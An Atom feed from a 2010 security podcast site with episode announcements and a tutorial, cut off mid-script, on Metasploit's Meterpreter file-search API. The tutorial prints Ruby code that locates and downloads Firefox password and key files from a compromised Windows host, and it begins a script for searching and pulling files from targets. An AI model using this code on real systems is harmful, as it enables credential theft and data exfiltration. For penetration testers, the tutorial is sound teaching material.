<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>PaulDotCom</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/" />
    <link rel="self" type="application/atom+xml" href="http://pauldotcom.com/atom.xml" />
    <id>tag:pauldotcom.com,2008-06-02://1</id>
    <updated>2010-09-01T14:34:38Z</updated>
    
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 4.24-en</generator>

<entry>
    <title>Dan York &amp; Josh Wright live tomorrow - also win Dan&apos;s book!</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/09/episode-209-with-dan-york-josh.html" />
    <id>tag:pauldotcom.com,2010://1.921</id>

    <published>2010-09-01T15:00:00Z</published>
    <updated>2010-09-01T14:34:38Z</updated>

    <summary>Tomorrow night, we&apos;ll have Josh Wright from InGuardians to enlighten us with all sorts of warranty voiding tips for wireless electronics as well as Blue Box podcaster Dan York to give away a copy of his recently released book Seven...</summary>
    <author>
        <name>Mike Perez</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>Tomorrow night, we'll have Josh Wright from InGuardians to enlighten us with all sorts of warranty voiding tips for wireless electronics as well as Blue Box podcaster Dan York to give away a copy of his recently released book <a href="http://www.7ducattacks.com/ "> Seven Deadliest Unified Communications Attacks</a>, live on  <a href="http://pauldotcom.com/wiki/index.php/Episode209"> Episode 209</a> of PaulDotCom Security Weekly.</p>

<p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="josh.jpg" src="http://pauldotcom.com/josh.jpg" width="250" height="330" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span><div style="text-align:center;"><strong>"Joshua Wright inventing wireless power circa 2010"</strong></div></p>

<p>Again, *only* live listeners will have the chance to receive a free copy of Dan's book <a href="http://www.7ducattacks.com/ "> Seven Deadliest Unified Communications Attacks</a>, so be sure to join the IRC channel during the stream - we'll take comments and discussion from the channel!  Find us on IRC at irc.freenode.net #pauldotcom (You will be required to register in order to chat in the channel, this is an anti-spam measure).</p>

<p>When active, the live stream(s) can be found at:</p>

<p><a href="http://pauldotcom.com/livestream-chat.html">PaulDotCom Live!</a> - You can watch the live video, listen, and chat during each episode! You can access the streaming videos at any time by visiting <a href="http://pauldotcom.com/live/">http://pauldotcom.com/live/</a></p>

<p><a href="http://radio.pauldotcom.com:8000">PaulDotCom Icecast Radio (Audio Only)</a></p>

<p>Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!</p>

<p>- Paul "Salad Shooter" Asadoorian, Larry "HaxorTheMatrix" Pesce, Carlos "Dark 0perator" Perez, Darren "The Other Guy" Wigley, and John "The Father" Strand.<blockquote></blockquote></p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom Security Weekly - Episode 208 Part 1 - August 26, 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom-security-weekly---e-74.html" />
    <id>tag:pauldotcom.com,2010://1.920</id>

    <published>2010-08-30T01:33:37Z</published>
    <updated>2010-08-30T01:33:39Z</updated>

    <summary>Episode 208 Show Notes In part 1 of this episode we have &quot;The Dan Kaminskies&quot;! Episode 208 Part 1 - Direct Audio Download Hosts: Paul &quot;PaulDotCom&quot; Asadoorian,John Strand,Larry Pesce,Carlos Perez Audio Feeds:...</summary>
    <author>
        <name>Paul Asadoorian</name>
        
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><a href="http://pauldotcom.com/wiki/index.php/Episode208">Episode 208 Show Notes</a></p>

<div style="text-align:center;"><img src="http://pauldotcom.com//images_pic-medium-26987-Dan_Kaminsky.jpg" alt="images_pic-medium-26987-Dan_Kaminsky.jpg" border="0" width="500" height="332" /></div>

<p>In part 1 of this episode we have "The Dan Kaminskies"!  </p>

<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-episode208pt1.mp3">Episode 208 Part 1 - Direct Audio Download</a></div>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a>,<a href="http://www.pauldotcom.com">Larry Pesce</a>,<a href="http://www.pauldotcom.com">Carlos Perez</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>]]>
        
    </content>
</entry>

<entry>
    <title>New Windows Meterpreter Search Functionality</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/new-windows-meterpreter-search.html" />
    <id>tag:pauldotcom.com,2010://1.919</id>

    <published>2010-08-29T13:43:28Z</published>
    <updated>2010-08-29T13:43:32Z</updated>

    <summary>Yesterday Stephen Fewer committed to the development version of Metasploit code for the Windows Version of Meterpreter for searching thru the file system and using the index service of the modern versions of Windows. The advantage of having this capability...</summary>
    <author>
        <name>Carlos Perez</name>
        <uri>http://www.pauldotcom.com</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>Yesterday Stephen Fewer committed to the development version of Metasploit code for the Windows Version of Meterpreter for searching thru the file system and using the index service of the modern versions of Windows. The advantage of having this capability as part of the standard API is that it gets executed at the host and only matched entries are returned, before this mode all entries where returned and they had to be evaluated on the attackers machine and depending on the type of connection, the distance and path to the target this is a very slow process and generates a lot of traffic that can give away the actions being taken. </p>  <p>Here is an example of a search using the method described before from the enum_firefox script</p>  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">def</span> frfxpswd(path,usrnm)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    @client.fs.dir.foreach(path) {|x|
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <span style="color: #0000ff">next</span> <span style="color: #0000ff">if</span> x =~ /^(\.|\.\.)$/
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        fullpath = path + '\\' + x</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <span style="color: #0000ff">if</span> @client.fs.file.stat(fullpath).directory?
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            frfxpswd(fullpath,usrnm)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <span style="color: #0000ff">elsif</span> fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <span style="color: #0000ff">begin</span>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                dst = x
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                dst = @logs + ::<a style="color: #ff0000" href="http://www.ruby-doc.org/docs/rdoc/1.9/classes/File.html">File</a>::Separator + usrnm + dst
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                print_status(&quot;<span style="color: #8b0000">\tDownloading Firefox Password file to '#{dst}'</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                @client.fs.file.download_file(dst, fullpath)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <span style="color: #0000ff">rescue</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                print_error(&quot;<span style="color: #8b0000">\t******Failed to download file #{x}******</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                print_error(&quot;<span style="color: #8b0000">\t******Browser could be running******</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <span style="color: #0000ff">end</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    }
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">end</span>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>As it can be seen on the first 6 lines of the code we have to use client.fs.dir.foreach and parse each entry and check that it is not the . and .. entries that are returned, then they are checked with client.fs.file.start(path).directory? to see if path is a Directory or a file, if it is a file we return it back to the function it self to search that directory, when a file is found its name is checked to se if it the file we are looking for and if it is we take the actions we want. This is very slow when we are dealing with a recursive search. Now if we want to search for files that match a specific pattern we can use client.fs.file.search(path,pattern,recursive) as you can see we pass to this call the path from where to start the search, if we provide as path nil it will search all drives, then we pass the pattern to search and last if we want the search to be recursive or not. This will return an array of hashes of what was found:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">&gt;&gt; client.fs.file.search(&quot;<span style="color: #8b0000">c:\\</span>&quot;,&quot;<span style="color: #8b0000">*.sys</span>&quot;,<span style="color: #0000ff">false</span>)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">=&gt; [{&quot;<span style="color: #8b0000">name</span>&quot;=&gt;&quot;<span style="color: #8b0000">hiberfil.sys</span>&quot;, &quot;<span style="color: #8b0000">size</span>&quot;=&gt;2139795456, &quot;<span style="color: #8b0000">path</span>&quot;=&gt;&quot;<span style="color: #8b0000">c:</span>&quot;}, {&quot;<span style="color: #8b0000">name</span>&quot;=&gt;&quot;<span style="color: #8b0000">pagefile.sys</span>&quot;, &quot;<span style="color: #8b0000">size</span>&quot;=&gt;4284719104, &quot;<span style="color: #8b0000">path</span>&quot;=&gt;&quot;<span style="color: #8b0000">c:</span>&quot;}]
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>As it can be seen the elements of the hash are name, path and size in bytes, if no file is found the length of the array will be 0 if a wrong path is provided an operation error 3 will be raised</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">&gt;&gt; client.fs.file.search(&quot;<span style="color: #8b0000">x:\\</span>&quot;,&quot;<span style="color: #8b0000">*.sys</span>&quot;,<span style="color: #0000ff">false</span>)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">Rex::Post::Meterpreter::RequestError: stdapi_fs_search: Operation failed: 3
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>One advantage provided by this call also is that on recent versions of windows like on Vista, 7 and 2008 it will use the index service and will give us the ability to search the Internet Explorer history and MAPI (email) entries. Just by specifying as the path for the search iehistory for Internet Explorer history and mapi for searching email entries. The entries found will be presented in the name element of hash. One important note is that when searching thru the MAPI and Internet Explorer entries recursive type search must be used. Now if we want to use this from inside Meterpreter we just use the search command:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">meterpreter &gt; search -h
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">Usage: search [-d dir] [-r recurse] -f pattern
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">Search <span style="color: #0000ff">for</span> files.
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">OPTIONS:
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">-d &lt;opt&gt; The directory/drive to <span style="color: #0000ff">begin</span> searching from. Leave empty to search all drives. (Default: )
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">-f &lt;opt&gt; The file pattern <span style="color: #00008b">glob</span> to search <span style="color: #0000ff">for</span>. (e.g. *secret*.doc?)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">-h Help Banner.
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">-r &lt;opt&gt; Recursivly search <span style="color: #00008b">sub</span> directories. (Default: <span style="color: #0000ff">true</span>)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>The options are simple with the –d option we specify the path if none is given it will search all drives on the target machine. With the –f option we provide the search glob that will be user to match what file information will be returned to the attackers machine, the –r option with a given value of true or false to specify if the search will be recursive or not. </p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">meterpreter &gt; search -d c:\\ -f *.sys -r <span style="color: #0000ff">false</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">Found 2 results...
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">c:\hiberfil.sys (2139795456 bytes)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">c:\pagefile.sys (4284719104 bytes)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">meterpreter &gt; 
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>Now lets create a small script to aid us in a pentest to find, select and download files from a target system. </p>

<p>Lets start by defining what we want the script to do: </p>

<p>· We got to be able to search for different things at once. </p>

<p>· We have to save the results to a file we can edit. </p>

<p>· We have to use the modified file to download those files we want. </p>

<p>· We have to provide a start directory for the search. </p>

<p>· We have to be able to control if the search will be recursive or not. </p>

<p>So lets start by declaring our variables and setting what the options of the script will be:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">@client = client
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">location = <span style="color: #0000ff">nil</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">search_blob = <span style="color: #0000ff">nil</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">input_file = <span style="color: #0000ff">nil</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">output_file = <span style="color: #0000ff">nil</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">recurse = <span style="color: #0000ff">false</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">logs = <span style="color: #0000ff">nil</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">@opts = Rex::Parser::Arguments.new(
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-h</span>&quot; =&gt; [<span style="color: #0000ff">false</span>, &quot;<span style="color: #8b0000">Help menu.</span>&quot; ],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-i</span>&quot; =&gt; [<span style="color: #0000ff">true</span>, &quot;<span style="color: #8b0000">Input file with list of files to download, one per line.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-d</span>&quot; =&gt; [<span style="color: #0000ff">true</span>, &quot;<span style="color: #8b0000">Directory to start search on, search will be recursive.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-f</span>&quot; =&gt; [<span style="color: #0000ff">true</span>, &quot;<span style="color: #8b0000">Search blobs separated by a |.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-o</span>&quot; =&gt; [<span style="color: #0000ff">true</span>, &quot;<span style="color: #8b0000">Output File to save the full path of files found.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-r</span>&quot; =&gt; [<span style="color: #0000ff">false</span>, &quot;<span style="color: #8b0000">Search subdirectories.</span>&quot;],
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    &quot;<span style="color: #8b0000">-l</span>&quot; =&gt; [<span style="color: #0000ff">true</span>, &quot;<span style="color: #8b0000">Location where to save the files.</span>&quot;]
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>These variables will hold the values of the options: </p>

<p>· Location to hold the path of where the search will start. </p>

<p>· Search_blob to hold our seach blobs. </p>

<p>· Input_file to hold the file that we will feed the script for download. </p>

<p>· Output_file to hold the name and location of the file we will write the results to. </p>

<p>· Recurse will be a Boolean value to determine if the search will be recursive or not. </p>

<p>· Logs to specify where the downloaded files will be saved to. </p>

<p>We add the customary usage function:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000"># Function for displaying help message</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">def</span> usage
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_line &quot;<span style="color: #8b0000">Meterpreter Script for searching and downloading files that</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_line &quot;<span style="color: #8b0000">match a specific pattern.</span>&quot;
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_line(@opts.usage)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #00008b">raise</span> Rex::Script::Completed
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">end</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre></pre>

<p>Next we check the version of Meterpreter to make sure we run on the Windows version and not the Java or PHP version that do not contain the search API call since it is not implemented on this versions.</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000"># Check that we are running under the right type of Meterpreter, if not show and error mesage and make sure we have arguments if not show the usage of the script.</span>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">if</span> client.platform =~ /win32|win64/
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <span style="color: #0000ff">if</span> args.length &gt; 0
